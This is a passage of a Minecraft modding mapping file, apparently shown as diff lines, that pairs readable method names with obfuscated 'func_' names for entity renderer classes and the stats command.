net/minecraft/client/renderer/entity/RenderLiving/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderLiving/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLiving/shouldRender (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/RenderLiving/func_177071_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderLiving/canRenderName (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/client/renderer/entity/RenderLiving/func_177070_b (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/client/renderer/entity/RenderLiving/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderLiving/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLiving/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderLiving/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLiving/setLightmap (Lnet/minecraft/entity/EntityLiving;F)V net/minecraft/client/renderer/entity/RenderLiving/func_177105_a (Lnet/minecraft/entity/EntityLiving;F)V +MD: net/minecraft/client/renderer/entity/RenderLiving/shouldRender (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/RenderLiving/func_177071_a (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderLiving/canRenderName (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/entity/RenderLiving/func_177070_b (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/entity/RenderLiving/canRenderName (Lnet/minecraft/entity/EntityLiving;)Z net/minecraft/client/renderer/entity/RenderLiving/func_177070_b (Lnet/minecraft/entity/EntityLiving;)Z +MD: net/minecraft/client/renderer/entity/RenderLiving/renderLeash (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderLiving/func_110827_b (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderMooshroom/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMooshroom/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderMooshroom/getEntityTexture (Lnet/minecraft/entity/passive/EntityMooshroom;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMooshroom/func_110775_a (Lnet/minecraft/entity/passive/EntityMooshroom;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderOcelot/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderOcelot/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderOcelot/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderOcelot/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderOcelot/getEntityTexture (Lnet/minecraft/entity/passive/EntityOcelot;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderOcelot/func_110775_a (Lnet/minecraft/entity/passive/EntityOcelot;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderOcelot/preRenderCallback (Lnet/minecraft/entity/passive/EntityOcelot;F)V net/minecraft/client/renderer/entity/RenderOcelot/func_77041_b (Lnet/minecraft/entity/passive/EntityOcelot;F)V +MD: net/minecraft/client/renderer/entity/RenderPainting/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPainting/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPainting/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderPainting/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderPainting/getEntityTexture (Lnet/minecraft/entity/item/EntityPainting;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPainting/func_110775_a (Lnet/minecraft/entity/item/EntityPainting;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPainting/doRender (Lnet/minecraft/entity/item/EntityPainting;DDDFF)V net/minecraft/client/renderer/entity/RenderPainting/func_76986_a (Lnet/minecraft/entity/item/EntityPainting;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderPainting/setLightmap (Lnet/minecraft/entity/item/EntityPainting;FF)V net/minecraft/client/renderer/entity/RenderPainting/func_77008_a (Lnet/minecraft/entity/item/EntityPainting;FF)V +MD: net/minecraft/client/renderer/entity/RenderPainting/renderPainting (Lnet/minecraft/entity/item/EntityPainting;IIII)V net/minecraft/client/renderer/entity/RenderPainting/func_77010_a (Lnet/minecraft/entity/item/EntityPainting;IIII)V +MD: net/minecraft/client/renderer/entity/RenderPig/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPig/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPig/getEntityTexture (Lnet/minecraft/entity/passive/EntityPig;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPig/func_110775_a (Lnet/minecraft/entity/passive/EntityPig;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPigZombie$1/initArmor ()V net/minecraft/client/renderer/entity/RenderPigZombie$1/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/RenderPigZombie/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPigZombie/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPigZombie/getEntityTexture (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPigZombie/func_110775_a (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPigZombie/getEntityTexture (Lnet/minecraft/entity/monster/EntityPigZombie;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPigZombie/func_110775_a (Lnet/minecraft/entity/monster/EntityPigZombie;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderRabbit/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderRabbit/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderRabbit/getEntityTexture (Lnet/minecraft/entity/passive/EntityRabbit;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderRabbit/func_110775_a (Lnet/minecraft/entity/passive/EntityRabbit;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSheep/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSheep/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSheep/getEntityTexture (Lnet/minecraft/entity/passive/EntitySheep;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSheep/func_110775_a (Lnet/minecraft/entity/passive/EntitySheep;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSilverfish/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSilverfish/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSilverfish/getDeathMaxRotation (Lnet/minecraft/entity/monster/EntitySilverfish;)F net/minecraft/client/renderer/entity/RenderSilverfish/func_77037_a (Lnet/minecraft/entity/monster/EntitySilverfish;)F +MD: net/minecraft/client/renderer/entity/RenderSilverfish/getDeathMaxRotation (Lnet/minecraft/entity/EntityLivingBase;)F net/minecraft/client/renderer/entity/RenderSilverfish/func_77037_a (Lnet/minecraft/entity/EntityLivingBase;)F +MD: net/minecraft/client/renderer/entity/RenderSilverfish/getEntityTexture (Lnet/minecraft/entity/monster/EntitySilverfish;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSilverfish/func_110775_a (Lnet/minecraft/entity/monster/EntitySilverfish;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSkeleton$1/initArmor ()V net/minecraft/client/renderer/entity/RenderSkeleton$1/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/RenderSkeleton/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RenderSkeleton/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RenderSkeleton/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSkeleton/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSkeleton/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderSkeleton/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderSkeleton/getEntityTexture (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSkeleton/func_110775_a (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSkeleton/getEntityTexture (Lnet/minecraft/entity/monster/EntitySkeleton;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSkeleton/func_110775_a (Lnet/minecraft/entity/monster/EntitySkeleton;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSkeleton/preRenderCallback (Lnet/minecraft/entity/monster/EntitySkeleton;F)V net/minecraft/client/renderer/entity/RenderSkeleton/func_77041_b (Lnet/minecraft/entity/monster/EntitySkeleton;F)V +MD: net/minecraft/client/renderer/entity/RenderSlime/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSlime/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSlime/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderSlime/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderSlime/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderSlime/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderSlime/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderSlime/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderSlime/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderSlime/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderSlime/getEntityTexture (Lnet/minecraft/entity/monster/EntitySlime;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSlime/func_110775_a (Lnet/minecraft/entity/monster/EntitySlime;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSlime/doRender (Lnet/minecraft/entity/monster/EntitySlime;DDDFF)V net/minecraft/client/renderer/entity/RenderSlime/func_76986_a (Lnet/minecraft/entity/monster/EntitySlime;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderSlime/preRenderCallback (Lnet/minecraft/entity/monster/EntitySlime;F)V net/minecraft/client/renderer/entity/RenderSlime/func_77041_b (Lnet/minecraft/entity/monster/EntitySlime;F)V +MD: net/minecraft/client/renderer/entity/RenderSnowMan/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSnowMan/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSnowMan/getEntityTexture (Lnet/minecraft/entity/monster/EntitySnowman;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSnowMan/func_110775_a (Lnet/minecraft/entity/monster/EntitySnowman;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSnowMan/getMainModel ()Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/RenderSnowMan/func_177087_b ()Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/RenderSnowMan/getMainModel ()Lnet/minecraft/client/model/ModelSnowMan; net/minecraft/client/renderer/entity/RenderSnowMan/func_177087_b ()Lnet/minecraft/client/model/ModelSnowMan; +MD: net/minecraft/command/CommandStats/getRequiredPermissionLevel ()I net/minecraft/command/CommandStats/func_82362_a ()I +MD: net/minecraft/command/CommandStats/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandStats/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandStats/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandStats/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandStats/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandStats/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandStats/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandStats/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandStats/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandStats/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandStats/func_175776_d ()[Ljava/lang/String; net/minecraft/command/CommandStats/func_175776_d ()[Ljava/lang/String; +MD: net/minecraft/command/CommandStats/func_175777_e ()Ljava/util/List; net/minecraft/command/CommandStats/func_175777_e ()Ljava/util/List; +MD: net/minecraft/client/renderer/entity/RenderSpider/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSpider/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSpider/getEntityTexture (Lnet/minecraft/entity/monster/EntitySpider;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSpider/func_110775_a (Lnet/minecraft/entity/monster/EntitySpider;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSpider/getDeathMaxRotation (Lnet/minecraft/entity/EntityLivingBase;)F net/minecraft/client/renderer/entity/RenderSpider/func_77037_a (Lnet/minecraft/entity/EntityLivingBase;)F +MD: net/minecraft/client/renderer/entity/RenderSpider/getDeathMaxRotation (Lnet/minecraft/entity/monster/EntitySpider;)F net/minecraft/client/renderer/entity/RenderSpider/func_77037_a (Lnet/minecraft/entity/monster/EntitySpider;)F +MD: net/minecraft/client/renderer/entity/RenderSquid/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSquid/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSquid/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderSquid/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderSquid/getEntityTexture (Lnet/minecraft/entity/passive/EntitySquid;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSquid/func_110775_a (Lnet/minecraft/entity/passive/EntitySquid;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSquid/handleRotationFloat (Lnet/minecraft/entity/passive/EntitySquid;F)F net/minecraft/client/renderer/entity/RenderSquid/func_77044_a (Lnet/minecraft/entity/passive/EntitySquid;F)F +MD: net/minecraft/client/renderer/entity/RenderSquid/rotateCorpse (Lnet/minecraft/entity/passive/EntitySquid;FFF)V net/minecraft/client/renderer/entity/RenderSquid/func_77043_a (Lnet/minecraft/entity/passive/EntitySquid;FFF)V +MD: net/minecraft/client/renderer/entity/RenderSquid/handleRotationFloat (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/entity/RenderSquid/func_77044_a (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/entity/RenderSnowball/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderSnowball/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderSnowball/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderSnowball/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderSnowball/func_177082_d (Lnet/minecraft/entity/Entity;)Lnet/minecraft/item/ItemStack; net/minecraft/client/renderer/entity/RenderSnowball/func_177082_d (Lnet/minecraft/entity/Entity;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/renderer/entity/RenderPotion/func_177082_d (Lnet/minecraft/entity/projectile/EntityPotion;)Lnet/minecraft/item/ItemStack; net/minecraft/client/renderer/entity/RenderPotion/func_177082_d (Lnet/minecraft/entity/projectile/EntityPotion;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/renderer/entity/RenderPotion/func_177082_d (Lnet/minecraft/entity/Entity;)Lnet/minecraft/item/ItemStack; net/minecraft/client/renderer/entity/RenderPotion/func_177082_d (Lnet/minecraft/entity/Entity;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/renderer/entity/RenderTntMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/client/renderer/entity/RenderTntMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/renderer/entity/RenderTntMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecartTNT;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/client/renderer/entity/RenderTntMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecartTNT;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/renderer/entity/RenderTNTPrimed/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderTNTPrimed/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderTNTPrimed/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderTNTPrimed/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderTNTPrimed/getEntityTexture (Lnet/minecraft/entity/item/EntityTNTPrimed;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderTNTPrimed/func_110775_a (Lnet/minecraft/entity/item/EntityTNTPrimed;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderTNTPrimed/doRender (Lnet/minecraft/entity/item/EntityTNTPrimed;DDDFF)V net/minecraft/client/renderer/entity/RenderTNTPrimed/func_76986_a (Lnet/minecraft/entity/item/EntityTNTPrimed;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderIronGolem/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderIronGolem/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderIronGolem/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderIronGolem/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderIronGolem/getEntityTexture (Lnet/minecraft/entity/monster/EntityIronGolem;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderIronGolem/func_110775_a (Lnet/minecraft/entity/monster/EntityIronGolem;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderIronGolem/rotateCorpse (Lnet/minecraft/entity/monster/EntityIronGolem;FFF)V net/minecraft/client/renderer/entity/RenderIronGolem/func_77043_a (Lnet/minecraft/entity/monster/EntityIronGolem;FFF)V +MD: net/minecraft/client/renderer/entity/RenderVillager/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderVillager/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderVillager/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderVillager/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderVillager/getEntityTexture (Lnet/minecraft/entity/passive/EntityVillager;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderVillager/func_110775_a (Lnet/minecraft/entity/passive/EntityVillager;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderVillager/preRenderCallback (Lnet/minecraft/entity/passive/EntityVillager;F)V net/minecraft/client/renderer/entity/RenderVillager/func_77041_b (Lnet/minecraft/entity/passive/EntityVillager;F)V +MD: net/minecraft/client/renderer/entity/RenderVillager/getMainModel ()Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/RenderVillager/func_177087_b ()Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/RenderVillager/getMainModel ()Lnet/minecraft/client/model/ModelVillager; net/minecraft/client/renderer/entity/RenderVillager/func_177087_b ()Lnet/minecraft/client/model/ModelVillager; +MD: net/minecraft/client/renderer/entity/RenderWitch/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RenderWitch/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RenderWitch/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWitch/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWitch/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderWitch/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWitch/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderWitch/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWitch/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderWitch/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderWitch/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderWitch/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWitch/getEntityTexture (Lnet/minecraft/entity/monster/EntityWitch;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWitch/func_110775_a (Lnet/minecraft/entity/monster/EntityWitch;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWitch/doRender (Lnet/minecraft/entity/monster/EntityWitch;DDDFF)V net/minecraft/client/renderer/entity/RenderWitch/func_76986_a (Lnet/minecraft/entity/monster/EntityWitch;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWitch/preRenderCallback (Lnet/minecraft/entity/monster/EntityWitch;F)V net/minecraft/client/renderer/entity/RenderWitch/func_77041_b (Lnet/minecraft/entity/monster/EntityWitch;F)V +MD: net/minecraft/client/renderer/entity/RenderWither/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWither/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWither/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderWither/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWither/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderWither/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWither/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderWither/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderWither/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderWither/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWither/getEntityTexture (Lnet/minecraft/entity/boss/EntityWither;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWither/func_110775_a (Lnet/minecraft/entity/boss/EntityWither;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWither/doRender (Lnet/minecraft/entity/boss/EntityWither;DDDFF)V net/minecraft/client/renderer/entity/RenderWither/func_76986_a (Lnet/minecraft/entity/boss/EntityWither;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWither/preRenderCallback (Lnet/minecraft/entity/boss/EntityWither;F)V net/minecraft/client/renderer/entity/RenderWither/func_77041_b (Lnet/minecraft/entity/boss/EntityWither;F)V +MD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_82400_a (FFF)F net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_82400_a (FFF)F +MD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/getEntityTexture (Lnet/minecraft/entity/projectile/EntityWitherSkull;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_110775_a (Lnet/minecraft/entity/projectile/EntityWitherSkull;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderWitherSkull/doRender (Lnet/minecraft/entity/projectile/EntityWitherSkull;DDDFF)V net/minecraft/client/renderer/tileentity/RenderWitherSkull/func_76986_a (Lnet/minecraft/entity/projectile/EntityWitherSkull;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWolf/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWolf/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWolf/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderWolf/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: 